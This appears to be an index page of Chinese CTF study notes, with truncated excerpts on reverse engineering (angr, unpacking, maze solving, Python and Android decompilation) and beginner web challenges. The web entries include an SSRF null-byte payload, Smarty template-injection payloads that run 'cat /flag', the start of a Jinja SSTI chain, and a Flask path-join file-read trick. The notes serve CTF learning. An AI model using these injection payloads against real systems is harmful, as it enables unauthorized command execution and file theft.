约束求解与符号执行在逆向中应用
约束求解与符号执行在逆向中应用笔记angrEXP.py
123456789101112import angr,syspath="D:\\CTF-Workbench\\signal.exe"project=angr.Project(path,auto_load_libs=False)initial_state=project.factory.entry_state()simulation=project.factory.simulation_manager(initial_state)simulation.explore(find=0x0040179E,avoid=0x004016E6)if simulation.found: for i in simulation.found: solution_state=i print(solution_state.posix.dumps(0))else: print("no\n")
做题[GDOUCTF 2023]Check_Your_Luck解这个方程组:
$ ...
花指令与脱壳入门
花指令与脱壳入门做题[HNCTF 2022 WEEK2]e@sy_flower花指令
选中红色行号内容,P(编辑->函数->新建函数),可反编译
找到JUMPOUT爆红,编辑->修补程序->单字节更改 第一个字节改为$09$
逆向得flag
咳(NewStarCTF2023)脱壳,简单逆向
12345678910111213#include <cstdio>#include <cstring>using namespace std;char str[]="gmbh|D1ohsbuv2bu21ot1oQb332ohUifG2stuQ[HBMBYZ2fwf2~";int len;int main(void){ len=strlen(str); for(register int i=0;i<len;i++){ str[i]--; printf("%c",str[i]); }; return 0;};
[GF ...
走迷宫与数独逆向题目小结
走迷宫与数独逆向题目小结笔记3DMazeRunning.py
12345678910111213141516171819202122232425262728293031323334353637383940414243444546from queue import Queuedef bfs(map, start, end): # 1. 初始化队列 q = Queue() q.put((start, "")) # 2. 开始搜索 while not q.empty(): cur, path = q.get() # 3. 判断是否到达终点 if cur == end: return path # 4. 判断是否越界或者是墙壁 if cur[0] < 0 or cur[0] >= len(map) or cur[1] < 0 or cur[1] >= len(map[0]) or map[cur[0]][cur[1]] == 1: ...
安卓安全初探
安卓安全初探做题[SWPUCTF 2021 新生赛]easyappapp逆向、jadx、java反射
丢jadx,找MainActivity,利用java反射改key为987654321
还要猜测%256
123src='棿棢棢棲棥棷棊棐棁棚棨棨棵棢棌'for i in src: print(chr((ord(i)^987654321)%256),end='')
[HNCTF 2022 Week1]给阿姨倒一杯JvavJava-.class逆向
新建class、src文件夹,把.class放在class文件夹中,命令:
1>jad -o -r -s java -d src class/*.class
exp:
1234567891011#include <cstdio>using namespace std;int key[18]={180,136,137,147,191,137,147,191,148,136,133,191,134,140,129,135,191,65};int main(vo ...
简单Python逆向
简单Python逆向笔记getPycMagicNumber.py
1234rd=input('Input Magic Number (ex. 3413):')MAGIC_NUMBER = (int(rd)).to_bytes(2, 'little') + b'\r\n'_RAW_MAGIC_NUMBER = int.from_bytes(MAGIC_NUMBER, 'little')print(hex(_RAW_MAGIC_NUMBER))
做题[NISACTF 2022]ezpythonpython逆向
1pyinstxtractor *.exe
出现 *.exe_extracted文件夹,找到src和struct,添加.pyc后缀。
用struct.pyc的Magic Number修复src.pyc($\mathrm{E3}$之前$12$个字节)
1uncompyle6 src.pyc>src.py
解密得flag
[HUBUCTF 2022 新生赛]ezPythonuncompyle6 ...
常见简单加密算法逆向
常见简单加密算法逆向做题[HUBUCTF 2022 新生赛]simple_REbase64换表
没有研究清楚具体过程,技巧是看到$\mathrm{0x30}$、$\mathrm{0x3C}$、$\mathrm{0x3F}$即为base64(可能换表)
使用CyberChef进行解码
[SWPUCTF 2022 新生赛]base64base64解码
标准表,直接解码
[HDCTF 2023]easy_reupx脱壳,base64解密
[LitCTF 2023]enbase64base64换表
换表过程比较复杂,研究算法得表。
123456789101112131415161718#include <cstdio>#include <cstring>using namespace std;int v3[65];char Source[65]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",Destination[65];int main(void){ ...
Web入门-SSRF漏洞
Web入门-SSRF漏洞[GKCTF 2020]cve版签到SSRF漏洞,结合CVE-2020-7066:get_headers()会被%00截断。
payload:
1?url=http://127.0.0.123%00www.ctfhub.com
注,如下返回格式为get_headers()的特征:
123456789101112Array( [0] => HTTP/1.1 200 OK [1] => Date: Mon, 05 Jun 2023 12:32:32 GMT [2] => Server: Apache/2.4.38 (Debian) [3] => X-Powered-By: PHP/7.3.15 [4] => FLAG: NSSCTF{586773c7-706a-4413-9456-f3d363f47288} [5] => Vary: Accept-Encoding [6] => Content-Length: 113 [7] => Connectio ...
Web入门-Python相关
Web入门-Python相关做题[NISACTF 2022]babyuploadFlask题,os.path.join有个漏洞,当某个参数以“/”开头时,前面的参数一律忽略,然后从该参数后面认为是根目录下路径。
上传文件“/flag”,即服务端错误地读取根目录下的“flag”文件。
[LitCTF 2023]Flag点击就送!用Wappalyzer看看,发现为Flask:
1234from Wappalyzer import Wappalyzer,WebPagewappalyzer=Wappalyzer.latest()webpage=WebPage.new_from_url('http://node4.anna.nssctf.cn:28500/flag')print(wappalyzer.analyze(webpage))
看到HTTP请求头Cookie中有个Session,疑似Session伪造。
Flask的Session信息是存贮在客户端的,所以Flask通过一个secret_key防止Session被篡改的。
使用flask_sess ...
Web入门-SSTI模板注入攻击
Web入门-SSTI模板注入攻击做题[CISCN 2019华东南]Web11看到下方提示Smarty,即想到PHP的SSTI模板注入攻击。
右上角Current IP:后内容怀疑使用模板,内容来源于XFF请求头。
尝试修改请求头:
1X-Forwarded-For: {4*4}
看到回显16,确凿了,直接PHP执行:
1{system("cat /flag")}
[NISACTF 2022]midlevel重题。
[HDCTF 2023]SearchMaster1data={system("cat /flag_13_searchmaster")}
[HNCTF 2022 WEEK2]ez_SSTI一般SSTI参数先猜name,果然有,找到类_frozen_importlib_external.FileLoader的位置:
1http://node5.anna.nssctf.cn:28392/?name={{"".__class__.__bas ...
Web入门-JavaScript相关
Web入门-JavaScript相关做题[LitCTF 2023]1zjsJsFuck,在这里解密:http://codertab.com/JsUnFuck
[GDOUCTF 2023]hate eat snake找到alert函数,F12在控制台输入以下依赖函数:
1function _0x2615(){var _0x30b7fe=['C2vHCMnO','Dg9tDhjPBMC','DuLywKG','BgvUz3rO','CMv0DxjUicHMDq','y29UC29Szq','Aw5MBW','CM4GDgHPCYiPka','yvz6uuW','otuYnZiWwxDjwwHS','kcGOlISPkYKRkq','y29UC3rYDwn0BW','AZnYx2GWCgvFDa','ELvTAfO& ...